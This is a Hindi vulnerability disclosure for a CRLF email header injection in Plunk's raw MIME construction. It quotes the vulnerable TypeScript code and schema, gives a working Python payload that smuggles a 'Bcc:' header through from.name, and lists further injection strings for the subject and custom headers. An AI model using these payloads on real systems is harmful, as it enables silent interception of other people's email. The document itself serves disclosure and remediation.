
Plunk के रॉ MIME निर्माण में CRLF ईमेल हेडर इंजेक्शन का प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी विश्लेषण, जिसमें Python PoC के साथ Bcc इंजेक्शन और अन्य वेक्टर प्रदर्शित किए गए हैं।
गंभीरता: उच्च (CVSS 8.5)
CWE: CWE-93 — CRLF अनुक्रमों का अनुचित निष्प्रभावीकरण ('CRLF इंजेक्शन')
प्रभावित: useplunk/plunk <= 0.7.1
में ठीक किया गया: 0.8.0
सलाह: GHSA-2mvm-rg5v-7hfq
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975
श्रेय: Romain Deperne
Plunk का POST /v1/send एंडपॉइंट उपयोगकर्ता-प्रदत्त फ़ील्ड (from.name, subject, कस्टम हेडर, अटैचमेंट फ़ाइलनाम) को CRLF (\r\n) सैनिटाइज़ेशन के बिना सीधे एक टेम्पलेट स्ट्रिंग में इंटरपोलेट करके एक raw MIME ईमेल संदेश बनाता है। एक प्रमाणित API उपयोगकर्ता मनमाने ईमेल हेडर — जिसमें Bcc भी शामिल है — इंजेक्ट कर सकता है ताकि ईमेल की प्रतियाँ चुपचाप हमलावर-नियंत्रित पतों पर पुनर्निर्देशित की जा सकें।
मैं ओपन-सोर्स ईमेल भेजने वाले प्लेटफ़ॉर्म का ऑडिट कर रहा था — कोई भी चीज़ जो AWS SES को रैप करती है और एक API उजागर करती है। Plunk को SendGrid/Postmark के डेवलपर-अनुकूल विकल्प के रूप में प्रस्तुत किया गया है, जो SES पर आधारित है।
मेरा प्रवेश बिंदु raw ईमेल निर्माण फ़ंक्शन था। जब भी मुझे rawMessage += या MIME बनाने वाले टेम्पलेट लिटरल दिखते हैं, मैं जाँचता हूँ कि क्या प्रत्येक उपयोगकर्ता-प्रदत्त फ़ील्ड CRLF-सैनिटाइज़्ड है। SESService.ts में, उत्तर स्पष्ट रूप से नहीं था: from.name, subject, कस्टम हेडर, और अटैचमेंट फ़ाइलनाम सभी सीधे इंटरपोलेट किए गए थे।
जिस बात ने इसे शोषणीय के रूप में पुष्टि की: Zod स्कीमा (packages/shared/src/schemas/index.ts) में उनमें से किसी भी फ़ील्ड पर \r\n को अस्वीकार करने वाला कोई .regex() या .refine() नहीं था। स्कीमा परत पर कोई सैनिटाइज़ेशन नहीं, MIME निर्माण परत पर कोई सैनिटाइज़ेशन नहीं — API इनपुट से इंजेक्ट किए गए MIME हेडर तक साफ़ रास्ता।
मैंने चारों वेक्टर (from.name, subject, कस्टम हेडर मान, अटैचमेंट फ़ाइलनाम) का परीक्षण किया और पुष्टि की कि Bcc: इंजेक्शन काम करता है। सत्यापित प्रेषक डोमेन वाला कोई भी प्रमाणित API उपयोगकर्ता प्रत्येक आउटगोइंग ईमेल को चुपचाप हमलावर-नियंत्रित पते पर कॉपी कर सकता है। यथार्थवादी हमला परिदृश्य एक समझौता किए गए API कुंजी का एक स्थायी ईमेल इंटरसेप्ट में बदल जाना है।
फ़ाइल: apps/api/src/services/SESService.ts, पंक्तियाँ 137–151
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value not sanitized
}
// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized
Zod स्कीमा (packages/shared/src/schemas/index.ts) — कोई CRLF सत्यापन नहीं:
headers: z.record(z.string().max(998)).optional() // no \r\n check
from: { name: z.string().optional() } // no \r\n check
subject: z.string().min(1).max(998) // no \r\n check
filename: z.string().min(1).max(255) // no \r\n check
Raw MIME निर्माण के लिए आवश्यक है कि प्रत्येक उपयोगकर्ता-प्रदत्त मान को इंटरपोलेशन से पहले \r\n से मुक्त किया जाए। Plunk टेम्पलेट लिटरल्स के साथ संदेश बनाता है और चारों इंजेक्टेबल फ़ील्ड्स में से किसी को भी सैनिटाइज़ नहीं करता। SMTP पार्सर \r\n को हेडर सीमा के रूप में व्याख्यायित करते हैं, इसलिए from.name में \r\nBcc: [email protected] इंजेक्ट करने से आउटगोइंग संदेश में एक वास्तविक Bcc हेडर जुड़ जाता है।
चार इंजेक्शन वेक्टर के साथ पूर्ण प्रदर्शन के लिए poc.py देखें।
मुख्य पेलोड — from.name के माध्यम से Bcc इंजेक्शन:
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
SES द्वारा उत्पादित रॉ MIME:
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
SES [email protected] को एक मौन प्रतिलिपि वितरित करता है, जिसमें समझौता किए गए API कुंजी के माध्यम से भेजे गए प्रत्येक ईमेल के साथ।
अन्य इंजेक्शन वेक्टर:
subject: "Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To, Return-Path, Sender हेडर को ओवरराइड करें